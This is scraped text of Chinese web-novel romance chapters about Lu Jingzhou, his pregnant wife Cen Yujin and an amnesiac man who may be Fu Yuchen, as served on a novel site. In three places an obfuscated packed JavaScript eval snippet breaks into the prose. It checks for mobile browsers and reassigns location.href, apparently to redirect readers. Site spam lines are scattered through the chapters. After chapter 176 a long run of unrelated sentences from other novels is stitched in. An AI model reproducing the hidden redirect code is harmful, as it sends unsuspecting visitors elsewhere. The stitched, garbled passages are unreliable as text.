她顿了顿,又仰起脸,鼻尖蹭了蹭他的下颌线,声音软得不像话,满是撒娇的意味,“再说了,他就是个麻烦精,还乱喊人,要不是看他可怜,又是我撞到的,我才懒得管他呢。 我心里眼里从头到尾都只有你一个人,不管是以前、现在还是以后,都只有你陆京洲一个,谁都替代不了。” 说着,她怕陆京洲还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936669|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不放心,又凑上去,在他的脸颊上吧唧亲了一口。 紧接着又在他的唇角、额头接连落下好几个温热的吻,每个吻都带着满满的爱意和讨好。 “我的好老公,别吃醋了好不好?你可是我的专属第一帅,是我这辈子唯一爱的人,还有我们的宝宝,以后我们一家四口好好过日子,那个麻烦精跟我们没关系,好不好?” 陆京洲看着她这副急切讨好,满眼都是自己的模样,眼底的戏谑彻底化成了浓得化不开的宠溺。 收紧手臂将她紧紧搂在怀里,力道大得像是要把她嵌进自己的身体里,下巴抵着她的发顶。 鼻尖萦绕着她发间淡淡的茉莉花香,那是专属于他的味道,让他无比安心。 他低头在她的发旋上亲了一口,声音温柔得能滴出水来,“傻笙笙,我跟你开玩笑呢,我还不知道你的心思?” 话虽如此,可他心 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 里的占有欲却半点没减。 一想到那个陌生男人一口一个“老婆姐姐”叫着他家笙笙,还惦记着让笙笙去接他,心里的那点不爽就又冒了出来。 只是看着怀里软乎乎哄着自己的女孩。 还有她腹中那个刚刚有了动静的小生命,他终究是把那点不爽压了下去。 他抬手轻轻抚摸着岑予衿的长发,指尖温柔地梳理着她的发丝,语气渐渐沉了下来,恢复了几分往日的沉稳凌厉。 “不过这个男人确实不对劲,声音越听越像傅聿琛,你又说他衣着料子昂贵,出身不凡,还偏偏在我们家门口的绿化带里窜出来,被你撞到后又失智了,我总觉得事情没有那么简单。” 傅聿琛? 她都被惊到了。 真的会这么巧吗? 岑予衿听着他笃定的话,也猜出了大概,“既然你这么怀疑,要不我打个视频过去你看看?” 她这提议和他想到一块去了。 陆京洲已经先一步拨通了视频电话过去,然而电话并没有接通,反而被挂断了。 应该是对面的人根本不知道该怎么接电话。 陆京洲有些烦躁。 岑予衿接过他手里的手机,“我知道你很着急,但是……先别慌,我打个电话给陈叔,让他发个视频过来你就知道是不是他了。” 陆京洲点了点头表示同意。 岑予衿打了电话过去,却是关机状态。 陆京洲直接将人抱起来往楼下走,“老婆,你吃饭,我得先过去确认一下那人到底是不是傅聿琛!” 岑予衿这会儿哪会让他一个人单独行动啊? 首先,他们才刚见面不久。 其次,要是那个人是傅聿琛还好,陆京洲可能就忍下来了。 可要不是,那就真的完了,要是他再说点什么乱七八糟的话,陆京洲绝对把他干残废。 “吃完饭我们一起去,好不好?我不想跟你分开,求求你了,老公~” 陆京洲纯纯的老婆奴,顶级恋爱脑,哪里抵抗得住老婆这么撒娇。 再怎么在意他的身份,这会也已经被压下来了,笑着点了点她的鼻尖,“不用求,吃完饭我带你一块过去。” 岑予衿:“好嘟好嘟~” 第175章 不是傅聿琛还能是谁? 陆京洲亲自开车岑予衿坐在副驾驶两人一同前往她养着傅聿琛的小别墅。 一路上陆京洲的脸色虽然恢复了平静。 但握着方向盘的指节微微泛白泄露了他内心的不平静。 岑予衿时不时侧头看他小手覆上他的手背轻轻摩挲着传递着无声的安慰。 她不知道傅聿琛和他到底是什么关系。 但是能让他这么着急的人绝对是很重要的人。 如果真的是傅聿琛那也算是因祸得福了。 要不然他要是流落到外边那要找回来可真就难了。 “阿洲你能给我讲讲你和傅聿琛之间的故事吗?我感觉你对他的感情不一般很不一般!” 陆京洲听到这话紧绷的神经骤然放松下来笑着看向她“老婆我对你的感情更不一般挚爱懂不懂?不是一般的爱是很爱很爱很爱。” 岑予衿没忍住噗嗤一声笑了出来“我也没说你和人家怎么样就知道嘴贫!作为你老婆我想了解一下你不可以吗?” 陆京洲笑着捏了捏她的小脸“当然可以啦。” 他的语气没变听着依旧没个正形儿“他呀是我在国外认识的第一个华国人是在我最落魄的时候遇见的那时候刚被转送出国。” “没了妈又给所有人下毒被他们恨之入骨奶奶把我救出去之后 陆京洲像是在说别人的事情嘴角还养着笑意“从那一刻开始我就知道靠别人是靠不住的不过我觉得我还是挺棒的没让自己饿过肚子在完成学业的同时还做过不少兼职呢!” “把自己养挺好的看看那么帅是不是这张脸这身材就长在你审美点上?” 陆京洲也不管她有没有回答自己自顾自的说着“周芙笙我给你养了这么好一老公你就偷着乐吧!” 陆京洲说完话转头看向她声音宠溺一脸求夸奖的表情“你老公棒不棒?嗯?” 可转头才发现旁边的女孩早都泪流满面了就这么眼泪汪汪的看着他。 眼里的心疼都要溢出来了。 陆京洲心尖猛地一颤那点刻意伪装的轻松和玩笑瞬间被她的泪水冲刷得干干净净。 他连忙将车平稳地停靠在路边解下安全带侧过身双手捧住 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 岑予衿湿漉漉的脸颊。 “怎么还哭了?嗯?小哭包。”他的拇指轻柔地拭去她眼角不断滚落的泪珠,声音低沉而温柔,带着哄慰。 “都是过去的事了,你看我现在不是好好的?还娶到了全世界最好的老婆,那些破事早就不值一提了。” 他不说还好,这一哄,岑予衿的眼泪更是像断了线的珍珠,大颗大颗往下掉。 她不是没想过他过去在国外可能不容易。 但亲耳听到他用这样轻描淡写的语气,说出“饿不死就好”、“疯狂折磨”这样的话。 她的心就像被一只无形的手狠狠攥住,疼得喘不过气。 她想象不出那个十几岁的少年,在异国他乡,失去母亲庇护,又被亲人背弃。 孤立无援时,是怎样咬着牙,一边完成学业,一边做兼职养活自己的,怎么熬过来的。 他说的“把自己养挺好”,背后该有多少不为人知的艰辛和孤独。 陆京洲真的受了很多很多苦。 他和那种真正的富二代不一样,一点也不一样。 他只是表面看起来不争气,其实比谁都细心,比谁都要好。 她从小娇生惯养的,真的没有受过他这样的苦。 所以她做不到真正的感同身受。 但是……真的很心疼。 真的真的很心疼! 要是他们俩最后那一次见面,她知道她后来会很爱很爱他,她肯定会不顾一切把自己身上所有的钱都给他。 带回家,光明正大的照顾他,护着他,不让她受一丁点委屈。 可是……时间不能**,就算**了,她也不可能护着那个时候的陆京洲,因为那时候她爱的人是周时越。 “你……你还笑……”岑予衿抽噎着,话都说不连贯,抬手胡乱抹了把脸,却抹不干汹涌的泪水。 “那时候……你才多大啊……他们怎么可以……怎么可以那样对你……” 她抓住陆京洲的手,紧紧地攥着,仿佛想通过这种方式,穿越回去,去拥抱那个无助的少年。 “你受了很多委屈对不对……阿洲,我和他们都不一样,我这辈子认定你了,我会坚定的站在你身后的,以后我跟你才是一家人。” 陆京洲看着她为自己心疼落泪的模样,心里五味杂陈,酸涩和暖意交织。 他俯身过去,额头抵着她的额头,鼻尖相触,温热的气息交融。 “都过去了,笙笙,一切都是最好的安排,你看我现在不是很幸福吗?有一 你的朋友正在书荒,快去帮帮他吧 个很爱很爱我的老婆还有两个宝宝以前的一切都只是在为我的幸福做铺垫我已经很知足了。” 陆京洲小心翼翼的擦去她脸上的泪珠声音温柔到了极点“所以……别哭了好吗我真的会很心疼的。” 岑予衿重重的点了点头“嗯不哭了。” “那些经历确实不好受但也让我明白了很多事。比如绝境里只能靠自己比如看似最糟糕的时候也可能遇到转机傅聿琛就是那个转机。” 他稍稍退开一点看着她的眼睛继续讲述“我是在一个华人餐厅的后巷遇见他的那天我因为被克扣了工钱跟管事的吵了一架他们把我开了就算了还找人打我我就是在最狼狈的时候遇到他的。” 他的思绪像是飘回了那时候“那时候的我真的一分钱都没有是他把打我的那些人赶走还带我去吃了顿饭给了我很多钱。” “后来我才知道他是M洲傅家的长子是一个特别厉害的人……我跟他借了钱读完了大学又靠着他开始创业有了一点点成绩我……我也问过他为什么要对我那么好?” 陆京洲像是想到了什么好笑的事情嘴角的笑容不断放大“他说他也不知道他觉得看到我很亲切我也有这样的感受他就像我大哥一样总之没有他就没有现在的我。” “他是这个世界上为数不多对我好的人我很感激他。所以……他出事儿了我才会那么紧张。” 岑予衿是怎么也没想到会是这样的心里五味杂陈的点了点头 陆京洲也点了点头“我也希望那个人是他。” 夜色渐浓车子驶入一处环境清幽绿树成荫的区域。 一栋雅致的白色小别墅在月光下静静伫立透着宁静也带着一丝未知的紧绷感。 停好车陆京洲牵着岑予衿的手大步走向别墅。 里头早有佣人等候立刻引着他们往二楼走去。 “陆太太陆先生那位客人住在二楼最里面的房间。陈管家交代过他……情绪不太稳定不太认人只是偶尔会念叨您。” 佣人低声解释目光谨慎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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指尖带着明显的占有意味抚过她的肩头,一字一句地纠正道,“她是我明媒正娶的妻子,是我的老婆,不是你老婆,也不是你姐姐,你该叫‘弟妹’,别乱叫。” 傅聿琛被他强大的气势和冰冷的语气震慑住。 脚步顿在原地,眼神里充满了挣扎和困惑。 他歪了歪头,似乎在努力消化眼前的信息。 目光在陆京洲和岑予衿之间游移,嘴里无意识地重复,“陆……京洲?弟……妹?” 但那目光最后又固执地落回岑予衿脸上,带着一丝不易察觉的依赖和执拗,“不是!” 岑予衿从陆京洲身侧探出头,看着眼前这个与陆京洲口中判若两人,眼神纯净懵懂的傅聿琛,心情复杂。 她轻轻扯了扯陆京洲的衣角,小声说,“京洲,他好像……真的不太对劲。” 陆京洲自然也能看出傅聿琛状态异常。 但这并不能完全压下他心头因那个称呼而泛起的不悦,以及更深层的疑虑。 他审视着傅聿琛脸上每一个细微的表情变化,声音依旧没有多少温度,“你是真忘了,还是装的?这里只有我们,可以放心。” 第一卷 第176章 弟妹? 傅聿琛抿紧了薄唇,下唇被牙齿轻轻咬着,泛起淡淡的红,那双原本空茫的眸子此刻盈满了水光,湿漉漉的。 像被人欺负狠了的孩子,目光一瞬不瞬地黏在岑予衿脸上,带着执拗的依赖,半点不肯挪开。 好不可怜! 看着恐慌的一狐一兔,他们身旁不断摆弄各类设施的疤脸灰狼嘿嘿一笑。 如家私房菜馆,是一家装修极其精美的菜馆,不仅是桌椅墙面,连扶手栏杆都极具特色,精致又大气,甚至还在私房菜馆里还种有树木,也不知道哪个能工巧匠想出来的招,尽是新奇。 二人的大战,一会儿在地上,一会儿在天上,剧烈的战斗波动,也让周围的空间也一一炸裂出一道道空间裂缝。 但是现在好了,不仅搬起石头砸了自己的脚,顺便还搭上了一个逗猫一哥? 来者都是心急如焚,见不到皇帝也只能愤愤而归,还不能表现在脸上,否则会惹来大祸。 在以后的炼丹界里,就是因为这次金瑞的这次所言,在丹盟的全力支持下开始研究,后来在丹盟炼丹师的多次改良推广下。 “有这个想法,但是我年纪也略大了一点,换工作划不来。”老马打字道。 随着自己长大了,自己也知道一些事情,原来那个老者是一个修仙者,特地来京都为宗门选徒。 据说他想重回云剑宗,但是被云涛拒绝了,毕竟云剑宗可不是说来就来说走就走的地方。 此时的金蚕蛊王依旧在不停的进食着,而从它后腹部喷出的金色丝线已经越来越多,渐渐的在金蚕蛊王的周围织成了一个金色的薄蚕茧。 在一处巨大的宫殿之中漆黑的大殿中的座椅上正做着一个模糊的身影。 平常根本不会启动这阵法,很显然,这带着浓郁水元素的剑意和姜维这么妖孽的升级也让温厉有些忌惮了。 青年男子浓眉大眼,穿着得体的范思哲休闲衬衣,手上戴着一块百达翡丽水晶名表,浑身透着一股贵气。 “我叫林修,天剑派的弟子。”林修说道,只是却不怎么好意思。 系统的声音传来,片刻,韩云的脑海中出现一条路线,按照系统所给的天域地图,这条线的终点。 嘲笑他,总是不知道珍惜眼前放在他手心的里的幸福,却总是要伸长了脖子,去眺望一个跟自己永远没有可能的苏伶歌。 貌似上次升级为主系统者的时候,就有个论坛出现,但因为最近有点忙,韩云也不觉得这论坛能带来什么好处,所以就没有去管。 “行,那进来看看吧……”老爷子随即领着陆辰和沈阔海进了屋子。 王太卡在公司的时候,只觉得这公司压抑的很。但自从接手了XB娱乐之后,对王太卡就一百八十度大转变了。 “周世博,你抱够了没有!”王校长再也忍不住,直接将其从校长夫人身上拉开。而后帮助校长夫人将盖上衣服。 她是来收租子和红利的,不是来管庄子的。走之前王爷就说了这里面有好多功臣后人,要问候的,她将他们全撸了,王爷能下得来台? 场边的冯少哪叫一个激动,就差点跳进来了,虽然没时,他还是鼓起了掌! 东南心想陆神峰要自己去三楼肯定是引君入瓮,谁知道二楼三楼藏了什么高手。 第一卷 第177章 好事儿被打扰 日子一天天过去,傅聿琛就这么在檀月山庄安顿下来,成了个需要特殊照看的“大孩子”。 在她家住了一个多月,他们基本都是同吃同住的,抬头不见低头见。但是萧子衿硬是没有给萧清封好脸色。 萧清封施展出的火莲在空中与一朵水莲相撞。水火相交,发出一道浓烈的光芒,而后火莲与水莲都消散于无形。 秽气组成的牢笼将长生忘忧困在里头,这是谁都没有预想到的结果。 这山洞,被彻底撑塌,无数海水倒灌进来,大海深处,一阵狂暴躁动。 他对茶道的理解不算弱,可是他泡的茶只有表面的茶,而并没有什么所谓的道。但是真灵很厉害,喝了她的茶,有一种贯穿任督二脉的舒畅感。 崔成的话刚说完,钱霸天的身子就好像是纸做的一般,“嗖”一下,就从崔成的头顶飞了过去,撞在了崔成身后的墙上。 “迪托马斯,你就那么渴望成为燃烧军团的指挥官,即使阿克蒙德知道也没有什么紧要?”洛克向着不远处的深渊领主迪托马斯问道。 此刻,萧翎和云依并不知道远在神殿山上,正由人在讨论着他们的事情。 敖冰菱虽然远在西海,但是堪天境乃是无上宝物,能够察觉到一些修士察觉不到的东西。而敖冰菱也是想通过堪天境来帮萧清封找到建木。 叶起抬起了手指,他的身后,那具巨大无比的骷髅也仿佛恢复了一丝灵性,手指微微一颤。 当然占地多并不是因为台北的人口比南京多多少,而是因为台北的工厂多,学校多,还有很多的其他占地很大的组织多。所以才会有这样的占地面积。 “他们什么时候把汉人当过自己人,那些汉军是狗,伤了就无法咬人。给我射,把清道的放翻,他们是真鞑子!”曹二愣大喝一声,抬手一弩,将一个正挥刀杀人的黑甲武士射倒。 方舟成功的打断了维拉德的大预言术,所以大家都得到了自由,他们开始继续逃跑。 “北部的阿依努族人先不急,等几年也没关系。既然南部以及成功整合,那么是时候开始攻略日本了。”对于虾夷岛北部的阿依努族人游离在外,萧明乾毫不在意。 他甩过了波尔图后卫之后。面对华金的传球直接就是一脚shè门。 “我要跟你拼命!”红发男孩双目瞪圆,脸颊通红,向秦锐冲了过去。 “难道你都不知道人家为什么跟你回来吗?”梅莉走过去试图将灵梦从电脑前拽过来,不过身体素质差远的她根本不可能成功。 八意永琳没有理会灵梦的话,她举起长弓拉至满月,随着弓弦张开原本空无一物的弦上逐渐出现了纯能量构成的箭矢。 虽然因为中华帝国的战略中心暂时由海洋转向了大陆,但是他们的力量始终在想世界的其他地方扩充。 过了一会,有四五人打开牢门,走了进来,当头那人,正是沈云。 “哇嘞,你能说话?”茵蒂克丝趴到婴儿床边缘,惊讶道,为毛当初自己就不能说话? 第一卷 第178章 老婆,你造谣我弱精? 恰好听见狩琪赞成他的话,他心里不仅不高兴,反而更不是味道了,他这个粗心大意的人都看出了豫王的用意,狩琪聪明睿智,一眼就看穿了豫王的心思。 蝶翼般的睫毛轻轻的颤动着,如同沾染着露珠般灵气,纯白的面孔笼罩在一片和煕的晨光中,能清晰的看见面孔上面一层浅浅的绒毛,粉嫩透着一点迷人的水润。眨巴着明澈的眸子,第一件事就看着身边沉睡的男人。 “这相貌都是天生父母给的,哪里能怪?要怪就怪别人自己不长眼,没有这个好眼神。”林父最终道,像是也被信服。 薛华向前走了疾步,抓住楚韵的胳膊,刚才死气沉沉的脸上透出生气。 八点十五,医院主治医生还未上班,而且早上看病的多,楚韵略微思索下决定先去把租房手续办了。打算卖房子时,她已留意位于闹市区边缘一处一室一厅公寓。昨晚打电话问了房东,房子还空着,今天上午有时间面谈。 系统哪里敢说实话?只能以数据丢失难以复原为理由,将此事搪塞了过去。 曹偌溪在澳门给大家都带了好吃的,当天晚上她联系了淩雨柔,约了第二天一起逛街再聊聊天,顺便把从澳门带回来的紫菜肉松蛋卷,香记咖喱牛肉粒等等带给她。 乾隆虽然身在圆明园行宫,然而却对紫禁城里发生的大事了若指掌。 她咧着嘴,放声哭了起来,那些痛苦的折磨,无尽的煎熬,在这一刻,统统在这些眼泪里宣泄而出。 “不不,是我的错。和您没关系。我既然带了厚厚出去玩,就应该查清楚什么东西该吃,什么东西不该吃。都是怪我没查清楚,给厚厚乱吃了东西。”祁安落的这话说得有些费力,她没有去看宁缄砚,一直低着头的。 “黑石郡我势在必得,这件事于你于我都是一件好事,我们可以组成同盟,应对其他人的压力。”范伦丁说道。 虽然夏奇并不是追求奢华的人,但搬过来之后,夏奇还是觉得瞬间舒适了很多。艾丽莎家里没生火,现在又到了秋天,突然从热带沙漠回到北方的夏奇,真的觉得有点冷了。 下一秒,墨北霄又是一个巴掌,直接抽在了苏丽娟的另一边脸上。 长孙冲心里一股怒火升腾,他对杜构那张欠揍的嘴脸恨得有些牙痒痒。 一部分魔法矿石会对周围环境产生影响,而魔法矿物,不管在什么时候,都是很稀有的东西,别说比什么雪楠木,同等重量的魔矿,比金矿的价格都要高,夏奇现在挖起来,当然是干劲十足。 全身肿成气球,以及那撕心裂肺的吼叫声,无疑,蝙蝠侠正在遭受以他那坚定的意志力,都无法忍受的……进化? 内比罗斯意识到路西法的不对劲,奋力一脚踹开路西法,而后却见李察催动火焰朝他席卷。 李察吃了一惊,没想到这么久不来卡玛泰姬,一来就听闻了这么惊人的消息。 到了如今,他虽然被恢复了爵位,电脑已经只剩下一个空头爵位了,在军中虽然仍旧有着巨大威望,但是相比朱祁镇,他还是差了许多。 两人将肩膀上的肩章去下来,然后将盒子里的真的肩章拿出来给弄上了,这真肩章可是纯金的,金丝缝制和纯金的金星。 正当轻依和孤落都犹豫着要说些什么的时候,远方忽然传来一道急切的声音。 看着独孤舒琴那决绝的眼神,光头男魂都吓飞了,双手抱着脑袋不要命的大叫到。 “我要减肥的,你还带我来这,很容易长胖的好不好!”蒋可如一脸嫌弃的样子看着我,我则是顺手把她的那份拿了过来。 才过几个呼吸,薛奇就抛过一个黑黝黝的物体,这个物体对着孤落头顶飞来,他刚伸手触碰到,陡然间一股大力从掌上传来。瞬间,他眼中闪过一道精光,嘴上轻喝一声,五指屈起向前一抓。 出发前的那天,析木被王后叫了去,我独自走在操练场的红砂上仔细摩挲手中的几粒红砂,似乎能从中感觉的死者的亡灵一般。 滚滚魔气之中,突然之间,有着一朵火焰升腾而起,一道身形手托火焰,缭绕之间,将那周围的魔气焚烧殆尽。 孤落没想到其他方法只能首肯,此人跟随孤落一同上楼进入内室,青訶厚着脸皮也跟着不请自来。 “在哪儿~”白狼走到了杰斯的身边,忽然天气突然阴了下来,一阵狂风呼啸豆大的雨滴就落了下来。 也不免韩炜惊讶,因为韩凉呱呱坠地之时,他并不在现场。要知道,不管是哪家婴儿降生,都是丑陋得很,盖因在羊水之中泡得久了。 “亮倒是觉得,二公子更喜军事,无心争端世子之位。公子大可不必如此忧心。”诸葛亮旁观者清,自然比韩凉看的更真切,事实上韩治早就无心世子之位了。 而昆虺,那名凶厉无比的结丹境老祖,三天以来一直不肯放弃对黄沙洞府的觊觎,徘徊于此,尝试了种种方法,妄图破解禁制进入洞府之中,却都没有成功。 由于楚风现在的直播视频,已经可以保留,于是关于他一拳打爆恒星的视频,已不可思议的速度,流传了出去。 国家军事部的人一直在通过天眼监视着峨眉山和蜀山,当看到战机爆炸之后,他们身躯颤抖了,不由自主的握紧了拳头,可是又无可奈何。 田丰刚而犯上,果然名不虚传。也是这件事彻底让袁绍跟田丰关系决裂,可田丰依旧忧国忧民的再次纠集众谋士来见袁绍。 第179章 你不希望我攀你这根高枝? 店员眼睛瞪得圆圆的半晌没反应过来反应过来之后只能嘿嘿陪笑“双、双胞胎?一次就中?那真是太厉害了……” 她这话里没了之前的科普欲只剩实打实的惊叹看向陆京洲的眼神都多了几分敬畏。 要是他说的是真的这哪里是弱精分明是过分厉害。 岑予衿的脸烫得快要冒烟指尖把陆京洲的衣角攥得发皱。 恨不得整个人都挂在他身上躲起来耳根红得能滴出血小声哼哼“阿洲我们快走嘛……” 她的声音软乎乎的带着浓浓的羞意尾音都在发颤完全没了方才要跟他一起进店的执拗。 陆京洲却偏不手臂圈着她的肩力道稳而沉将她牢牢护在怀里。 非但没迈步反而微微侧过身目光落在店员身上语气是不容置疑的笃定还带着几分霸道的较真。 “不仅一次就中孕前我做过全套体检生殖科、泌尿科各项指标全是顶级报告随时能调出来。” 他顿了顿视线扫过岑予衿微隆的小腹眼底淬了化不开的宠溺话却是说给店员听更是说给怀里的人儿听。 “我太太受孕当月我们只同房过一次医生说两个孕囊发育得比单胎还好各项数值都远超标准。” 岑予衿疯狂朝着店员使眼色示意她不要再说了。 店员和她连接成功达成共识! 店员连连点头附和“是是是双胞胎发育这么好肯定是爸妈身体底子好!估计是我记错了实在对不住啊先生太太。” 她这会儿彻底反应过来合着是这位太太当初随口编的话偏巧让她记到现在还当众戳破了。 看着陆京洲那周身的低气压只觉得后背发寒只想赶紧把这对祖宗送走。 可陆京洲的较真劲儿还没过去低头看向怀里缩成一团的岑予衿。 指尖轻轻捏住她露在外面的下巴微微用力让她不得不抬头看自己。 他的眼眸深邃如寒潭却没半分怒意只剩几分戏谑和强势声音压得低 这话直白又露骨岑予衿的脸更红了又羞又窘抬手拍了拍他的胳膊。 “陆京洲!你别胡说了……回家!” 她的力道轻飘飘的落在他身上跟挠痒似的反而更添了几分娇憨。 陆京洲低笑出声胸腔的震动透过相贴的身体传到岑予衿心里酥酥麻麻的。 他没 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 再为难店员,揽着岑予衿转身往外走。 只是脚步不急不缓,掌心始终紧紧贴着她的肩,暖意透过羽绒服渗进去,驱散了冬夜的寒气。 出了药店门,夜风卷着凉意扑过来,陆京洲立刻把岑予衿往怀里带了带,伸手将她的帽子又往下按了按。 指尖蹭过她滚烫的脸颊,语气里带着笑意,却依旧带着较真,“刚才在里面,还没说清楚,你当初怎么就敢编那种瞎话?” 岑予衿埋在他怀里,闷声闷气地辩解,“我那时候就是随口胡说的……我哪知道会这么巧碰到她啊。” 她说着,委屈地蹭了蹭他的胸口,声音软下来撒娇,“我知道错了阿洲,你别再提了行不行?太丢人了。” “知道丢人就好。”陆京洲弯腰,依旧小心翼翼避开她的小腹,打横将她抱起。 岑予衿低呼一声,下意识搂紧他的脖子,脸颊贴在他颈侧,滚烫的温度蹭得他肌肤发烫。 他低头,鼻尖蹭了蹭她的额头,声音哑了几分,带着不容错辨的强势和占有欲,“但错了就得有教训,得让你好好记着,你先生到底行不行。” 岑予衿的心猛地一跳,脸颊更烫,指尖攥着他的衣领,小声嘟囔,“我知道你很行,可以不……” 当初怀双胞胎的检查报告出来时,医生就说过,自然受孕双胞胎概率极低,能一次中,男方身体必然极好。 她那时候就知道自己的瞎话有多离谱了,只是从没敢提。 “光知道没用。”陆京洲抱着她快步走向迈巴赫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938537|191758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打开车门将她轻轻放进副驾驶。 俯身给她系安全带时,温热的气息拂过她的耳畔,话语带着蛊惑人心的哑意,“得让你亲身体会,记一辈子。” 安全带扣上的瞬间,岑予衿的心跳快得像是要蹦出胸腔,她偏头看向他,眼底泛着水汽,亮晶晶的,带着羞赧却又藏不住的依赖。 陆京洲直起身,指尖捏了捏她的脸颊,眼底满是宠溺,又带着势在必得的笃定,随后关上车门,绕到驾驶座落座。 车子重新启动,汇入夜色里,车厢内的暖气裹着两人之间暧昧的张力,格外旖旎。 陆京洲握着方向盘的手稳而有力,另一只手依旧伸过来,牢牢握住岑予衿的手,十指相扣,掌心的温热驱散了她指尖的凉意。 他偏头看了她一眼,见她脸颊依旧绯红,眼神躲闪着不敢看自己,低笑道,“别躲,到了酒店,给你看体检报告,还有当初医生的诊断记录,一条条给你念,让你彻底放心。” “不要!”岑予衿急忙拒绝,脸颊埋进靠枕里,只露出泛红的耳尖,“我不用看……我都信你。” “不行,必须看。”陆京洲语气不容商量,握着她的手紧了紧,“还要让你好好想想,以后还敢不敢编这种瞎话污蔑你先生。” 他顿了顿,声音放缓,带着几分戏谑,“再说了,双胞胎还不够证明?等生下来,两个小家伙健健康康的,就是最好的证据。” 陆京洲像是想到了什么,又惊又喜,“不对……老婆,你为了嫁给我,怀上宝宝居然吃助孕的药!” 岑予衿把头扭向另一边,她最不想提的就是这个,果然还是被这男人抓住了重点,完全破罐子破摔。 “周时越不是逼我嫁给变态老头吗?我……就想着哪怕你是二世祖也比老头强,再加上你家世好,样貌好,我不就想着攀根高枝嘛。” 岑予衿像是找到了转移话题的点,转头看着他,手指微微抬起他的下巴,挠了挠,“怎么?你不希望我攀你这根高枝?” 第180章 试试吧,我更行 岑予衿的指尖还挠着他的下巴,眼里水光潋滟,嘴角却带着点故意使坏的弧度。 这无理取闹的模样,像只伸出爪子试探的小猫。 陆京洲喉结滚动了一下,握住她作乱的手,掌心滚烫。 他没接她“攀高枝”的话茬,车子在酒店门前稳稳停下。 他侧过身,解了自己的安全带,又倾身过去,阴影瞬间将岑予衿笼罩。 “攀高枝?”他低声重复,气息拂过她敏感的耳廓,带着灼人的热度,“那根“高枝’,现在只想让你知道,它到底有多行。” 话音未落、他已利落地解开她的安全带,一手护着她的后颈和后背,一手穿过她的膝弯,再次将她稳稳抱起。 动作迅捷却依旧小心地避开她的小腹。 “陆京洲!”岑予衿轻呼,手臂下意识环住他,“放我下来,我自己能走·……” “别动。”他声音沉哑,抱着她大步走进酒店旋转门,径直走向专属电梯。 电梯镜面映出两人身影,他高大挺拔,她蜷在他怀里,脸颊绯红,对比鲜明。 电梯上升,密闭空间里,他的气息无处不在。 岑予衿能感觉到他胸膛下沉稳有力的心跳,和自己素乱的心跳完全不是一个节奏。 她刚才那点故意挑衅的气焰,在他沉默而强势的举动里,悄无声息地矮了下去,只剩心口砰砰直跳的紧张,和一丝隐秘的期待。 进了顶层套房,门在身后自动落锁。 陆京洲没有开大灯,只留了廊下一盏昏黄温暖的壁灯。 他抱着她,径直走向卧室,将她轻轻放在柔软宽阔的床沿坐下,自己却单膝半跪在她面前,仰头看她。 这个姿态,带着一种臣服般的珍视,却又因他眼底翻滚的暗色而充满了掌控力。 他依旧握着她的手,指腹轻轻摩挲她的虎口。 “笙笙。”他叫她的名字,声音在寂静的房间里格外清晰,“攀高枝?亏你想得出来。” 他另一只手从口袋里拿出手机,解锁,划动几下,然后递到她眼前。 屏幕的光映亮他线条分明的下颌,也照亮了屏幕上密密麻麻的体检报告摘要。 “看这里,”他指尖点着几行关键数据,语速平稳,却字字清晰,砸在她心上,“精子活性,正常范围上限的150%。密度,超标。形态学分析,优质率98%。” 他抬眼看她,眸色深不见底,“泌尿科、生殖科主任的联合评估意见:生理机能处于最佳状态。” 岑予衿想移开目光,却被他牢牢锁住视线。 那些专业术语和数据,此刻被他用这样直白的方式念出来,羞耻感瞬间**,“我都说了那时候只是想攀上你这个高枝乱说的,还有完没完了?” 陆京洲关掉手机,随手扔到一旁柔软的沙发上。 他双手捧住她的脸,力道温柔却不容她退却。 “现在,还觉得我需要靠什么助孕药?”他额头抵着她的,呼吸相闻,声音低哑得不成样子。 岑予衿看着他极力证明自己的样子,就想笑,“谁知道是不是我的助孕药起效了。” 挑衅,赤裸裸的挑衅! 这话一出,卧室里的空气瞬间凝住,昏黄的壁灯落在陆京洲的眉眼间,将他眼底的暗色烘得愈发浓烈。 他捧著她脸颊的手骤然收紧了几分,却又在触及她细腻肌肤的下一秒,放缓了力道,指尖摩挲着她泛红的脸颊,带着滚烫的温度。 岑予衿眼底的笑意更甚,水光漾得更明显,她微微抬着下巴,刻意凑近他,鼻尖几乎蹭到他的鼻尖,语气里的挑衅直白又张扬,半点没有收敛。 “毕竟那药我可是乖乖吃完了。” 她的指尖顺着他的手腕缓缓往上滑,划过他紧绷的小臂线条,最后停在他的肩头,轻轻掐了一下,带着几分娇蛮的力道,“那天晚上到底是什么样的我也不记得了,谁知道你到底行不行!” 陆京洲的呼吸猛地一重,灼热的气息喷在她的唇瓣上,烫得她下意识颤了颤,可脸上的挑衅神色半点没减。 